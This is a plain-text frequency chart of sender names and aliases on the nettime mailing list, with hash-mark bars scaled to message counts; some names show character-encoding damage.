\n 1\t# Mindaugas Gapsevicius \n 1\t# minkeanligeon \n 1\t# mirjamremie \n 1\t# misha \n 1\t# mj.konings \n 1\t# MK Karnak \n 1\t# ML Nettime \n 1\t# modification \n 1\t# moem \n 1\t# monica bello \n 1\t# Monica Cachafeiro \n 1\t# Monique vd Wijdeven \n 1\t# monxheaven \n 1\t# morgan currie \n 1\t# Moritz \n 1\t# Moritz Bartl \n 1\t# mputto \n 1\t# mr.sauli \n 1\t# msorice \n 1\t# mukx \n 1\t# M V H \n 1\t# mvtrijffel \n 1\t# m.zoeteman \n 1\t# n a gosteva \n 1\t# Nagraj Adve \n 1\t# natabor \n 1\t# natacha \n 1\t# natalieb \n 1\t# nathalie \n 1\t# nathaniel tkacz \n 1\t# ncrmr \n 1\t# Neal - Office of Experiments \n 1\t# Ned Rossiter \n 1\t# needatisprive \n 1\t# neil fridd \n 1\t# netbehaviour \n 1\t# nett >> a moderated mailing... \n 1\t# nettime_2 . 0 \n 1\t# nettime-ann-request \n 1\t# nettime . edu \n 1\t# nettime_k_dick \n 1\t# nettime l \n 1\t# nettime-l  \n 1\t# nettime little_birdie \n 1\t# nettime-l mailing list \n 1\t# nettime-l-owner \n 1\t# nettime-l-request \n 1\t# nettime-nl-request \n 1\t# nettime's_access_point \n 1\t# nettime's_all_seeing_eye \n 1\t# nettime's_anal-retentive-bo... \n 1\t# nettime's_anonymous_login \n 1\t# nettime's_antithesis \n 1\t# nettime's_autodidact \n 1\t# nettime's_automaton \n 1\t# nettime's avid gift giver \n 1\t# nettime's avid review reader \n 1\t# nettime's_beachbum-beneath-... \n 1\t# nettime's_bear \n 1\t# nettime's_blinkenlights \n 1\t# nettime's_b!lngu4l_zekretary \n 1\t# nettime's blockwart \n 1\t# nettime's_broken_record \n 1\t# nettime's_captive_audience \n 1\t# nettime's cash hoard \n 1\t# nettime's_certificate_autho... \n 1\t# nettime's_chilly_reception \n 1\t# nettime's_cloud_service \n 1\t# nettime's_co-coo \n 1\t# nettime's_colostomy_bag \n 1\t# nettime's confused printer \n 1\t# nettime's copy editor \n 1\t# nettime's crooked dealer \n 1\t# nettime's_cud_chewer \n 1\t# nettime's_cybercolonist \n 1\t# nettime's_data_driver \n 1\t# nettime's_deep_diver \n 1\t# nettime's delayed presence \n 1\t# nettime's_dependent_insecur... \n 1\t# nettime's de-terminator \n 1\t# nettime's_dfh \n 1\t# nettime's digestive system \n 1\t# nettime's_dom \n 1\t# nettime's_drive_thru \n 1\t# nettime's dual-use researcher \n 1\t# nettime's_dumpster_diver \n 1\t# nettime's_dusty_librarian \n 1\t# nettime's dutiful chronologist \n 1\t# nettime's_easy_listener \n 1\t# Nettime-SEE \n 1\t# nettime's_embedded_reporter \n 1\t# nettime's employee of the t... \n 1\t# nettime's_eternal_carriage_... \n 1\t# nettime's_ex-journo \n 1\t# nettime's explation of evil \n 1\t# nettime's_factotum \n 1\t# nettime's false digest \n 1\t# nettime's_ferryman \n 1\t# nettime's fetters \n 1\t# nettime's_fieldworker \n 1\t# nettime's filter algorithm \n 1\t# nettime's_firetrap \n 1\t# nettime's_forbidden_city \n 1\t# nettime's_forgetful_historian \n 1\t# nettime's_frequent_flyer \n 1\t# nettime's friendly communit... \n 1\t# nettime's_fruit_machine \n 1\t# nettime's_futuro-nostalgist \n 1\t# nettime's gagged reader \n 1\t# nettime's_gangsta \n 1\t# nettime's_generator \n 1\t# nettime's_geowanker \n 1\t# nettime's global protest \n 1\t# nettime's gloomy prospector \n 1\t# nettime's_gopher \n 1\t# nettime's_gran_fury \n 1\t# nettime's_hand-cranked_if_t... \n 1\t# nettime's_hatchet_man \n 1\t# nettime's_hidden_hand \n 1\t# nettime's historian \n 1\t# nettime's historical fader \n 1\t# nettime's_human_face \n 1\t# nettime's impressed reader \n 1\t# nettime's_indentured_servant \n 1\t# nettime's_influencing_machine \n 1\t# nettime's_institutional_memory \n 1\t# nettime's_karbon_klub \n 1\t# nettime's_krusty krab \n 1\t# nettime's_landscaper \n 1\t# nettime's_lettrist \n 1\t# nettime's_lifer \n 1\t# nettime's_little_birdi \n 1\t# nettime's_little_birdie \n 1\t# nettime's_little_helper \n 1\t# nettime's_logroller \n 1\t# nettime's_loss_leader \n 1\t# nettime's_macher \n 1\t# nettime's mailman \n 1\t# nettime's_maitre_d \n 1\t# nettime's marginal protester \n 1\t# nettime's miser \n 1\t# nettime's mod squad \n 1\t# nettime's monkey lawyer \n 1\t# nettime's msg collector \n 1\t# nettime's_observer \n 1\t# nettime's_occupational_ther... \n 1\t# nettime's_occupier \n 1\t# nettime's_omphalosceptic \n 1\t# nettime's one click activist \n 1\t# nettime's_open_mic \n 1\t# nettime's_optimo-pessimist \n 1\t# nettime's_orchid_man \n 1\t# nettime's_oversharer \n 1\t# nettime's panic room \n 1\t# nettime's paranoid reader \n 1\t# nettime's_permadjunct \n 1\t# nettime's pink hat \n 1\t# nettime's_poster_child \n 1\t# nettime's_pretzel_logician \n 1\t# nettime's_primal_scenester \n 1\t# nettime's_privileged_position \n 1\t# nettime's_probiotic_brigade \n 1\t# nettime's_purdue_chicken \n 1\t# nettime's_qualitative_easing \n 1\t# nettime's_read_write_head \n 1\t# nettime's_revolting_peasant \n 1\t# nettime's_rocket_scientist \n 1\t# nettime's_roving_reader \n 1\t# nettime's royal scribe \n 1\t# nettime's sad reader \n 1\t# nettime's_scapegoat \n 1\t# nettime's_script_kiddie \n 1\t# nettime's secret court staffer \n 1\t# nettime's_secret_sharer \n 1\t# nettime's_seeder \n 1\t# nettime's_shadowy_connection \n 1\t# nettime's_shocked_therapist \n 1\t# nettime's silenced dissenter \n 1\t# nettime's_special_rapporteur \n 1\t# nettime's_speed_demon \n 1\t# nettime's_subtractor \n 1\t# nettime's_superman \n 1\t# nettime's_swing_state \n 1\t# nettime's_tearful_exit \n 1\t# nettimes_telekommunikation_... \n 1\t# nettime's_tensegrity_structure \n 1\t# nettime's three is a crowd \n 1\t# nettime's_tout \n 1\t# nettime's_trial_balloon \n 1\t# nettime's_troll \n 1\t# nettime's_trololo_guy \n 1\t# nettimes_trololo_guy \n 1\t# nettime's_undo_undo \n 1\t# nettime's unwaged censor \n 1\t# nettime's vote counter \n 1\t# nettime's_weakest_link \n 1\t# nettime's_weekend_warrior \n 1\t# nettime's Winston Smith \n 1\t# nettime's_wire_service \n 1\t# nettime's_yo_dawg \n 1\t# nettime_utilities \n 1\t# nettimocrat \n 1\t# network \n 1\t# newk \n 1\t# newmedia \n 1\t# New Media Brains \n 1\t# NEW NET ART // Mailing list \n 1\t# Nick Boganwright \n 1\t# nickchance \n 1\t# Nick Koning \n 1\t# Nick Laessing \n 1\t# Nick White \n 1\t# nickyckpc \n 1\t# Nicolai Peitersen \n 1\t# nicolas \n 1\t# nicole \n 1\t# nijman \n 1\t# nikidejonge \n 1\t# Niko Princen \n 1\t# nilo casares \n 1\t# Nina Boas \n 1\t# nina.scott \n 1\t# Nina Tempor\u00c3r \n 1\t# nirina \n 1\t# nirinathibault \n 1\t# Nishant Shah \n 1\t# nmagnan \n 1\t# nnikagrill \n 1\t# noc \n 1\t# none \n 1\t# no-reply \n 1\t# noreply \n 1\t# Norm Friesen \n 1\t# Nucleus \n 1\t# Numtek \n 1\t# Nuraini Juliastuti \n 1\t# nvandergiesen \n 1\t# nyettime \n 1\t# Nynke Feenstra \n 1\t# occupations.intersections \n 1\t# office \n 1\t# oktopus021268 \n 1\t# olalaParis \n 1\t# oli4 \n 1\t# Open Forum on Participatory... \n 1\t# openidealapp \n 1\t# order \n 1\t# \u00c3rsan \n 1\t# ortoleva \n 1\t# Orton AKINCI \n 1\t# Oscar \n 1\t# osp \n 1\t# ozgur k . \n 1\t# pablo \n 1\t# pan \n 1\t# pare \n 1\t# Partido del Futuro \n 1\t# Pascal Walhof \n 1\t# Patricia de Vries \n 1\t# patrick \n 1\t# Patrick Anderson \n 1\t# Patrick van der Klooster \n 1\t# pattenden \n 1\t# Pauline van Mourik Broekman \n 1\t# Paul Jansen Klomp \n 1\t# paul moir \n 1\t# paul ternon \n 1\t# payments-messages \n 1\t# paypal \n 1\t# Peggy Dobbins \n 1\t# Peng Wai Loo \n 1\t# pernilla.jonsson \n 1\t# Pernille Tranberg \n 1\t# peter \n 1\t# Peter ciccariello \n 1\t# Peter de Jong \n 1\t# Peter de Vries - Silo \n 1\t# Peter Lu \n 1\t# Peter Marcuse \n 1\t# Peter Taylor \n 1\t# Peter van Rijn \n 1\t# Petra Heck \n 1\t# Petra L\u00c3er \n 1\t# Philipp Teister \n 1\t# Philip Smith \n 1\t# PhLo \n 1\t# Pierre Huyghebaert \n 1\t# Pierre Marchand \n 1\t# piet poet \n 1\t# piim \n 1\t# pijkegiezen \n 1\t# Piksel InfoBot \n 1\t# pim \n 1\t# pimpeterse \n 1\t# pinkertron \n 1\t# pirate cinema berlin \n 1\t# pixel \n 1\t# p.mck \n 1\t# Poetics List (UPenn \n 1\t# pontidou \n 1\t# postbusatske \n 1\t# Praveen A \n 1\t# prem.cnt \n 1\t# presidenza.soc \n 1\t# press \n 1\t# Press NAi010 \n 1\t# prixweb \n 1\t# provisionslibrary \n 1\t# p.taylor \n 1\t# ptemiz \n 1\t# p.vanhoof \n 1\t# pxatzopoulos \n 1\t# rabea \n 1\t# rachel greene \n 1\t# Radovan Misovic \n 1\t# Raffaele Mauro \n 1\t# Ralf De Wolf \n 1\t# Rami Ismail \n 1\t# Randall \n 1\t# Rasmus Fleischer \n 1\t# rax \n 1\t# rd \n 1\t# Rebeca M\u00c3ndez \n 1\t# Rebecca Shatwell \n 1\t# Rebecca Wilson \n 1\t# Rebecca Zorach \n 1\t# redactie.events \n 1\t# reinaart vanhoe \n 1\t# Reinder de Haan \n 1\t# reinier.sikkens \n 1\t# Remmert Droogleever Fortuyn \n 1\t# Ren\u00c3 Bohne \n 1\t# Rene Gabri \n 1\t# renfah \n 1\t# return \n 1\t# rhindes kroeituratek \n 1\t# Ricardo Cabello \n 1\t# ricardo lafuente \n 1\t# Ricardo Lafuente \n 1\t# Ricardo Oliveira \n 1\t# Ricardo Vega \n 1\t# richard \n 1\t# Richard Boeser \n 1\t# Richard Grusin \n 1\t# rickzero78 \n 1\t# rike \n 1\t# Rikke Augustinus Eriksen \n 1\t# ritslinux \n 1\t# Rjoly \n 1\t# rma \n 1\t# RM.Pronk \n 1\t# rmsastrowidjojo \n 1\t# Robbert de Vrieze \n 1\t# Robert Arnold \n 1\t# robert cheatham \n 1\t# Robert Kozinets \n 1\t# Roberto Verzola \n 1\t# Robert Thomas \n 1\t# robin slakhorst \n 1\t# Roel Roscam Abbing \n 1\t# rogiersimons \n 1\t# rokautz \n 1\t# Rolf Kleef \n 1\t# Romke Faber \n 1\t# ronald \n 1\t# Ronan Lane \n 1\t# roosvdw \n 1\t# root \n 1\t# rop \n 1\t# Rosa Menkman \n 1\t# Rotterdam Internet Valley \n 1\t# rozemarijnnieuws \n 1\t# rrkc \n 1\t# rupert brooks \n 1\t# Ryan Carboni \n 1\t# ~rybn \n 1\t# s \n 1\t# Sadie Menchen \n 1\t# Sam Dwyer \n 1\t# Sameer Padania \n 1\t# sam hillmer \n 1\t# Sam Nemeth \n 1\t# Sander Trispel \n 1\t# sandraiaraujo \n 1\t# Sangmin Kim \n 1\t# Sara \n 1\t# Sarah Thompson \n 1\t# Sara Kolster \n 1\t# Sasha Costanza-Chock \n 1\t# scaglioni \n 1\t# schall \n 1\t# scherpenisse \n 1\t# Schokker AZ \n 1\t# scholzt \n 1\t# Scott Martin \n 1\t# scott.meyer \n 1\t# Sean Leonard \n 1\t# sfa \n 1\t# sgac silvia \n 1\t# sgirbau \n 1\t# shaded \n 1\t# Siebe Thissen \n 1\t# sietse \n 1\t# signal.automatique \n 1\t# Silvio Lorusso \n 1\t# simon \n 1\t# Simon Marie-Sarah \n 1\t# sjdbakker \n 1\t# sjk.0x0 \n 1\t# Snelting \n 1\t# Snijlab \n 1\t# Snijlab - Jiskar Schmitz \n 1\t# snijlablasercutting \n 1\t# Soenke Zehle \n 1\t# Sofian Audry \n 1\t# Sol Trumbo Vila \n 1\t# Sonia Yuditskaya \n 1\t# sonjavank \n 1\t# Sophie Menasse \n 1\t# sophie toupin \n 1\t# Sophie Vijgen \n 1\t# \"\"S\u00c3ren Lundgaard (soren.... \n 1\t# spy emerson \n 1\t# ssann_ \n 1\t# stdin \n 1\t# stefaniekolk \n 1\t# Stefan Schoorl|Virtueel Pla... \n 1\t# stefko \n 1\t# Stef van Dongen \n 1\t# St\u00c3phanie Majerus / Casino... \n 1\t# St\u00c3phanie Vilayphiou \n 1\t# Stephen David Beck \n 1\t# Stephen Yan \n 1\t# sterry59 \n 1\t# Steven Alvarado \n 1\t# Steven Amrhein \n 1\t# stichting nac \n 1\t# stinie.furst \n 1\t# stock \n 1\t# stoopt \n 1\t# stropom \n 1\t# studio \n 1\t# sumandro \n 1\t# Sunil Abraham \n 1\t# sunn \n 1\t# support-en \n 1\t# Susan Lawly \n 1\t# Susanne Gerber \n 1\t# suzan \n 1\t# suzanne hansen \n 1\t# svleyenhorst \n 1\t# syed amins \n 1\t# szabolcs kisspal \n 1\t# tableton \n 1\t# tammy mcgovern \n 1\t# Tapas Ray \n 1\t# tati \n 1\t# tbm5mmf091chekh17hn0a4c8lo \n 1\t# team \n 1\t# teister \n 1\t# teresa.van.twuijver \n 1\t# The Doctor \n 1\t# The Force Of Freedom - Inqu... \n 1\t# the_ghost_of_nettimes_past \n 1\t# Theo R\u00c3 \n 1\t# therese roth \n 1\t# The Yes Lab \n 1\t# The Yes Men \n 1\t# Thijs|De Unie \n 1\t# Thomas James Lodato \n 1\t# thomas oster \n 1\t# Thomas Poell \n 1\t# Thomas Raab \n 1\t# those_who_forget_nettime_ar... \n 1\t# Thu Tran \n 1\t# tidepool \n 1\t# tiestenbosch \n 1\t# tijs \n 1\t# Tijs Ham \n 1\t# tim braakman \n 1\t# Tim Braakman \n 1\t# Tim Dittler \n 1\t# Tim Hoogesteger|DEAF2012 \n 1\t# tini \n 1\t# tobias \n 1\t# Tobias Leingruber \n 1\t# Tobi M\u00c3\n 1\t# tom.de.lange \n 1\t# tom keene \n 1\t# Tommy Surya \n 1\t# Tom Sherman \n 1\t# Tom van der Werf \n 1\t# Tom Wanders \n 1\t# Tonnie Langelaar \n 1\t# TRAILER - Tim Braakman \n 1\t# transcollab \n 1\t# traum_a \n 1\t# traveleasy.nz \n 1\t# tristan perich \n 1\t# tschwartz \n 1\t# turbo_500 \n 1\t# tutupecanape \n 1\t# twinkel \n 1\t# txt \n 1\t# uair01 \n 1\t# ucy \n 1\t# Ukrainevatinvoicerequest \n 1\t# ultimaker \n 1\t# Ultimaker \n 1\t# un heimlich \n 1\t# unlike-us-owner \n 1\t# unlike-us-request \n 1\t# v \n 1\t# Valentina Tanni \n 1\t# valentineheuzinkveld \n 1\t# vana kostayola \n 1\t# vanveelen \n 1\t# varvaras \n 1\t# Veerle Devreese / Virtueel ... \n 1\t# veg_an_dro \n 1\t# Vera Tollmann \n 1\t# verkoop \n 1\t# verlag \n 1\t# vheuzinkveld \n 1\t# Victor Cardoso \n 1\t# vigild \n 1\t# vincentei \n 1\t# vip \n 1\t# Visa-Valtteri Pimi\u00c3 \n 1\t# V M \n 1\t# vragen \n 1\t# vveelen \n 1\t# wannk858 \n 1\t# wcameronjackson \n 1\t# weareunmaking \n 1\t# webartery \n 1\t# webmaster \n 1\t# wilmakun \n 1\t# Wolfart Projectspaces \n 1\t# Wolfgang S\u00c3 1\t# wolfie christl \n 1\t# w van twuijver \n 1\t# Yari Lanci \n 1\t# yolanda \n 1\t# yoner \n 1\t# yongsikdelbecque \n 1\t# you \n 1\t# youngcurators \n 1\t# Yu-Lan van Alphen \n 1\t# zakiaela \n 1\t# Zbigniew Karkowski \n 1\t# Zelda Beauchampet \n 1\t# znmarie \n 1\t# zoekat \n 1\t# zoetr \n 1\t# zquadro \n 1\t# zuraida \n 2\t# 2011movements-fsm-wsf-discu... \n 2\t# abram stern (aphid) \n 2\t# accidental loves \n 2\t# Adam Arvidsson \n 2\t# adsl487504 {AT} telfort.nl \n 2\t# aharon \n 2\t# Aksioma \n 2\t# Alana Lentin \n 2\t# Alessandra Renzi \n 2\t# Alison Hearn \n 2\t# 'a moderated mailing list f... \n 2\t# Andreas Maria Jacobs \n 2\t# Andreas Treske \n 2\t# Andres Manniste \n 2\t# Andre Spicer \n 2\t# Anivar Aravind \n 2\t# Anna \n 2\t# anna carreri \n 2\t# annet dekker \n 2\t# Antonella \n 2\t# APSA-CIVED {AT} h-net.msu.edu \n 2\t# arc.hive \n 2\t# armin \n 2\t# Armitage J. \n 2\t# arnova-l \n 2\t# Arns HMKV Inke \n 2\t# Arthur Tolsma \n 2\t# Ayhan Aytes \n 2\t# Barile Nello \n 2\t# Bas Schouten \n 2\t# Bengt Kristensson Uggla \n 2\t# Beunza \n 2\t# Bod\u00c3 Bal\u00c3zs \n 2\t# Bonini Tiziano \n 2\t# Brett Shand \n 2\t# 'Bria \n 2\t# Bruce Robinson \n 2\t# carolina bandinelli \n 2\t# Cassinger \n 2\t# CG \n 2\t# c.gerlitz \n 2\t# Charles Baldwin \n 2\t# Charlie Leadbeater \n 2\t# Chiara Camponeschi \n 2\t# Chris de Groot \n 2\t# Christopher Leslie \n 2\t# Colin Hodson \n 2\t# contact \n 2\t# Cova bernard \n 2\t# cris cheek \n 2\t# CRITICAL-MANAGEMENT \n 2\t# czegledy \n 2\t# Dani\u00c3l de Zeeuw \n 2\t# Dante-Gabryell Monson \n 2\t# DeeDee Halleck \n 2\t# Discussion list about the WSF \n 2\t# dmitry vilensky \n 2\t# Drew Hemment \n 2\t# Dr. Peter Troxler \n 2\t# DrY Internacional \n 2\t# dvyng \n 2\t# Elisabeth Nesheim \n 2\t# Elisa Giomi \n 2\t# elise t \n 2\t# e.parsons \n 2\t# Federico Bonelli \n 2\t# felix \n 2\t# flick harrison \n 2\t# fluxlist \n 2\t# Franco Mattes \n 2\t# Frank Rieger \n 2\t# fuller \n 2\t# Gary Hall \n 2\t# gidget \n 2\t# Gita Hashemi \n 2\t# Goggin \n 2\t# Graham St John \n 2\t# Griffis \n 2\t# hello \n 2\t# holly \n 2\t# IDC List \n 2\t# Ignacio Nieto \n 2\t# in \n 2\t# Inke Arns \n 2\t# InterOccupy Info \n 2\t# Itziar Castello \n 2\t# Jaap Vermaas \n 2\t# Jake Harries \n 2\t# Jakob Jakobsen \n 2\t# J Armitage \n 2\t# Javier Arbona \n 2\t# Jeebesh \n 2\t# Jeremie Zimmermann \n 2\t# Jeremy Beaudry \n 2\t# jerome \n 2\t# Jim \n 2\t# JNM \n 2\t# Joe Karaganis \n 2\t# Joe Raimondo \n 2\t# John Stillframe \n 2\t# Jon Ippolito \n 2\t# Jordan Crandall \n 2\t# Josephine Berry \n 2\t# keith \n 2\t# Kellie McElhaney \n 2\t# Kevin Hamilton \n 2\t# Kim Asendorf \n 2\t# Kruno Jost \n 2\t# Kunal Gupta \n 2\t# lorenzo tripodi \n 2\t# Luke Smith \n 2\t# manu ciuffoli \n 2\t# mara karagianni \n 2\t# Marazzi Christian \n 2\t# Marc Stumpel \n 2\t# marieke verbiesen \n 2\t# Mark Simpkins \n 2\t# Martyna Starosta \n 2\t# mary de martin \n 2\t# Mathilde muPe \n 2\t# Matteo Pasquinelli \n 2\t# maxigas \n 2\t# Mayo Fuster Morell \n 2\t# Michael H. Goldhaber \n 2\t# Michael Zeltner \n 2\t# microsound announce \n 2\t# miltosmanetas \n 2\t# molly Hankwitz \n 2\t# nello.barile \n 2\t# nettime announce \n 2\t# nettime {AT} kein.org \n 2\t# nettime-l {AT} kein.org> \n 2\t# Nettimepost \n 2\t# nettime's_avid_reader \n 2\t# nettime's_castaway \n 2\t# nettime's_chronicler \n 2\t# nettime's_court_reporter \n 2\t# nettime's_enigma \n 2\t# nettime's_entropist \n 2\t# nettime's_fly_on_the_wall \n 2\t# nettime's_indigestive_system \n 2\t# nettime's_mod_squad \n 2\t# nettime's_openspammer \n 2\t# nettime's_risk_manager \n 2\t# nettime's smart reader \n 2\t# nettime's spam kritik \n 2\t# nettime's_streamlinegram \n 2\t# nettime submissions \n 2\t# nettime's_zentral_kommittee \n 2\t# nettime's zuchtmeister \n 2\t# nic \n 2\t# nomadmail \n 2\t# Norbert Bollow \n 2\t# Onno Frederiks \n 2\t# \u00c3zg\u00c3r K. \n 2\t# paolo - IOCOSE \n 2\t# Paolo Ruffino \n 2\t# Patrick McCurdy \n 2\t# Pavlos Hatzopoulos \n 2\t# Phoebe Moore \n 2\t# pierluigi \n 2\t# Pierre guillet de Monthoux \n 2\t# Piksel Infobot \n 2\t# Pim Dumans \n 2\t# Prashant Paikray \n 2\t# r1ftrouter \n 2\t# Rachel O' Dwyer \n 2\t# redactie \n 2\t# richard joly \n 2\t# \u00c2 Robbins \n 2\t# robert adrian \n 2\t# Roelof Roscam Abbing \n 2\t# Roope Mokka \n 2\t# Rory Solomon \n 2\t# Sacha van Geffen \n 2\t# Saul Albert \n 2\t# Sean Cubitt \n 2\t# Sebastian Olma \n 2\t# service \n 2\t# Sivasubramanian M \n 2\t# Speakeasy \n 2\t# Station Rose \n 2\t# Stephen Kovats \n 2\t# support \n 2\t# Suzanne Treister \n 2\t# Suzon Fuks \n 2\t# tamas \n 2\t# targetautonopop \n 2\t# temp \n 2\t# tijmen \n 2\t# Tilman Baumg\u00c3rtel \n 2\t# Timothy Druckrey \n 2\t# Tim Schwartz \n 2\t# Tom Keene \n 2\t# unlike-us \n 2\t# Veronika Leiner \n 2\t# Vicente Matallana \n 2\t# Walter Langelaar \n 2\t# walter palmetshofer \n 2\t# WE LOVE GREEN \n 2\t# Will Jackson \n 2\t# zB \n 3\t# aha \n 3\t# Air-L {AT} listserv.aoir.org \n 3\t# Alexander Karschnia \n 3\t# allaninfo \n 3\t# Andrew Ross \n 3\t# appam-l \n 3\t# apsa_itp \n 3\t# Bassam el Baroni \n 3\t# bhcontinentaldrift \n 3\t# BishopZ \n 3\t# Cecile Landman \n 3\t# Center for the Study of the... \n 3\t# Chad Scoville \n 3\t# ciresearchers {AT} vancouvercomm... \n 3\t# colin hodson \n 3\t# Cornelia Sollfrank \n 3\t# Dave Hollis \n 3\t# David Garica \n 3\t# Desiree Miloshevic \n 3\t# d . garcia \n 3\t# Dmitry Vilensky \n 3\t# Eduardo \n 3\t# Edward Shanken \n 3\t# el \n 3\t# elisabeth \n 3\t# Eric Beck \n 3\t# Eric Miller \n 3\t# geert lovink \n 3\t# Goran Maric \n 3\t# harwood \n 3\t# James Wallbank \n 3\t# jaroslaw lipszyc \n 3\t# J.A. Terranson \n 3\t# John Haltiwanger \n 3\t# John Jordan \n 3\t# Joseph Rabie \n 3\t# JRabie \n 3\t# Juergen Fenn \n 3\t# Julia R\u00c3 \n 3\t# Karen O'Rourke \n 3\t# Kevin Flanagan \n 3\t# Koen Martens \n 3\t# kontakt |\u00c2florian kuhlmann \n 3\t# . left | coast | lurker . \n 3\t# linus lancaster \n 3\t# Magnus Boman \n 3\t# marc \n 3\t# Mark Andrejevic \n 3\t# Marko Peljhan \n 3\t# martha rosler \n 3\t# Michael Dieter \n 3\t# Michael Weisman \n 3\t# Moritz Geremus \n 3\t# Nancy Mauro-Flude \n 3\t# Nettime List \n 3\t# nettime-nl \n 3\t# nettime's_bean_counter \n 3\t# nettime's_dusty_archivist \n 3\t# nettime's_institutional_rev... \n 3\t# nettime's_lifelong_learner \n 3\t# nettime's_man_in_the_middle \n 3\t# Novica Nakov \n 3\t# paolo do \n 3\t# paralevel \n 3\t# Pranesh Prakash \n 3\t# Renee Turner \n 3\t# Robert W. Gehl \n 3\t# sachiko hayashi \n 3\t# S. Kritikos \n 3\t# St\u00c3phane Mourey \n 3\t# Thomas Gramstad \n 3\t# Timo Klok \n 3\t# unsubscribe \n 3\t# Vasilis Kostakis \n 3\t# Wolfie Christl \n 3\t# WSF L&G \n 3\t# Yosem Companys \n 3\t# Yves Bernard \n 4\t# almost \n 4\t# Art McGee \n 4\t# august \n 4\t# brandon jourdan \n 4\t# Clemens Apprich \n 4\t# dan mcquillan \n 4\t# dan s wang \n 4\t# Douglas La Rocca \n 4\t# franco berardi \n 4\t# fran ilich \n 4\t# gab fest \n 4\t# Garrett Lynch \n 4\t# hellekin \n 4\t# Ian Milliss \n 4\t# IR3ABF \n 4\t# James Barrett \n 4\t# Jernej Prodnik \n 4\t# Jon Lebkowsky \n 4\t# Josephine Berry Slater \n 4\t# Jo van der Spek M2M \n 4\t# KMV \n 4\t# Konrad Becker \n 4\t# LORENZO TAIUTI \n 4\t# Lucas Evers \n 4\t# maria ptqk \n 4\t# McLaughlin \n 4\t# !Mediengruppe Bitnik \n 4\t# nettime-l {AT} mail.kein.org> \n 4\t# nettime-l {AT} mx.kein.org \n 4\t# nettime's_groving_greporter \n 4\t# nettime's_mod_squad squad \n 4\t# Nicolas Bourbaki \n 4\t# oli \n 4\t# Owen Mundy \n 4\t# \u00c3zg\u00c3r k. \n 4\t# Rob Dyke \n 4\t# Ryan Griffis \n 4\t# Shawn K. Quinn \n 4\t# Simona Lodi \n 4\t# Steven Clift \n 4\t# Tapas Ray [Gmail] \n 4\t# Tilman Baumg\u00c3el \n 4\t# =?UTF-8?B?IEZyZWRlcmljayBGT... \n 4\t# Vuk \u00c4osi\u00c4 \n 5\t# Alessandro Delfanti \n 5\t# Alexandre Carvalho \n 5\t# Aliette GC \n 5\t# brian.holmes {AT} aliceadsl.fr \n 5\t# Bruce Sterling \n 5\t# Calin Dan \n 5\t# Carsten Agger \n 5\t# Chapullers OrsanS \n 5\t# Doug Henwood \n 5\t# Erich M. \n 5\t# | f | | | 3 \n 5\t# Frederic Janssens \n 5\t# frederic neyrat \n 5\t# jaromil \n 5\t# Johan S\u00c3berg \n 5\t# mazzetta \n 5\t# Miriam Rasch \n 5\t# Murray Simpson \n 5\t# nativebuddha \n 5\t# nettime-ann \n 5\t# P2P Foundation mailing list \n 5\t# pavlos hatzopoulos \n 5\t# Prem Chandavarkar \n 5\t# Rama Hoetzlein \n 5\t# roberta buiani \n 5\t# Sophie Le-Phat Ho \n 5\t# Spectre \n 5\t# squares \n 6\t# agent humble \n 6\t# Ana Vald\u00c3\n 6\t# ari \n 6\t# Ed Phillips \n 6\t# nettime's_digestive_system \n 6\t# Rob van Kranenburg \n 6\t# Sandra Braman \n 6\t# Tatiana Bazzichelli \n 7\t# chris mann \n 7\t# Corina L. Apostol \n 7\t# David Golumbia \n 7\t# Eduardo Valle \n 7\t# Fuster \n 7\t# Harsh Kapoor \n 7\t# Jean-No\u00c3Montagn\u00c3 7\t# Joss Winn \n 7\t# Karin Spaink \n 7\t# Kristoffer Gansing \n 7\t# Louise Desrenards \n 7\t# mail \n 7\t# Michael Reinsborough \n 7\t# navva \n 8\t# Angela Mitropoulos \n 8\t# Brett Scott \n 8\t# carl guderian \n 8\t# Dean \n 8\t# Lorenzo Tripodi \n 8\t# Michel Bauwens \n 8\t# networkedlabour {AT} lists.contr... \n 8\t# sebastian \n 8\t# seb olma \n 8\t# Vesna Manojlovic \n 9\t# Aymeric Mansoux \n 9\t# lista net time \n 9\t# Nicholas Knouf \n 9\t# Sascha D. Freudenheim \n 9\t# Snafu \n 9\t# spectre \n 10\t# Alexander Bard \n 10\t# David Garcia \n 10\t# Eugen Leitl \n 10\t# Krystian Woznicki \n 10\t# marc garrett \n 10\t# mez breeze \n 10\t# Michael H Goldhaber \n 10\t# NetBehaviour for networked ... \n 10\t# Patrick Lichty \n 10\t# William Waites \n 11\t# commoning \n 11\t# patrice \n 11\t# Richard Barbrook \n 12\t# claudia bernardi \n 12\t# Dan S. Wang \n 12\t# martin hardie \n 12\t# Simona Levi \n 13\t#  Frederick FN Noronha \u00e0\u00c3.. \n 13\t# Joly MacFie \n 13\t# Matze Schmidt \n 13\t# nettime mod squad \n 13\t# Stevphen Shukaitis \n 14\t# { brad brace } \n 14\t# Margaret Morse \n 14\t# Matthew Fuller \n 14\t# Paolo Cirio \n 15\t# Eugenio Tisselli \n 15\t# olia lialina \n 15\t# olivier auber \n 15\t# Thomas Dreher \n 16\t# Jonathan Marshall \n 17\t# Christian Fuchs \n 17\t# Michael Gurstein \n 17\t# nettime's_spam_kr!k!t \n 17\t# xDxD.vs.xDxD \n 19\t# brian carroll \n 19\t# David Mandl \n 21\t# Orsan \n 22\t# d.garcia \n 22\t# Molly Hankwitz \n 24\t## Eric Kluitenberg \n 25\t## Alex Foti \n 26\t## Andreas Broeckmann \n 26\t## Armin Medosch \n 26\t## dan \n 26\t## list nettime \n 26\t## Orsan Senalp \n 27\t## Nick \n 30\t## a moderated mailing list fo... \n 32\t## Nettime-l \n 32\t## nettime-l {AT} mail.kein.org \n 34\t## info \n 34\t## nettime's_roving_reporter \n 35\t## Keith Sanborn \n 35\t## \u00c3rsan \u00c5enalp \n 36\t## Alan Sondheim \n 37\t## mp \n 38\t## t byfield \n 39\t## Flick Harrison \n 40\t## Heiko Recktenwald \n 42\t## Morlock Elloi \n 43\t## morlockelloi \n 45\t## Keith Hart \n 47\t## allan siegel \n 47\t## Rob Myers \n 50\t### Janos Sugar \n 52\t### Nettime-L \n 56\t### John Young \n 57\t### michael gurstein \n 65\t### Florian Cramer \n 66\t### Dmytri Kleiner \n 72\t#### Tjebbe van Tijen \n 74\t#### Felix Stalder \n 88\t#### nettime's avid reader \n 98\t##### John Hopkins \n 103\t##### nettime-l {AT} kein.org \n 105\t##### Newmedia \n 108\t##### Jaromil \n 122\t###### Geert Lovink \n 128\t###### Brian Holmes \n 266\t############ Patrice Riemens \n\n 3194\t###################################################################################################################################### nettime-l \n 3874\t################################################################################################################################################################### 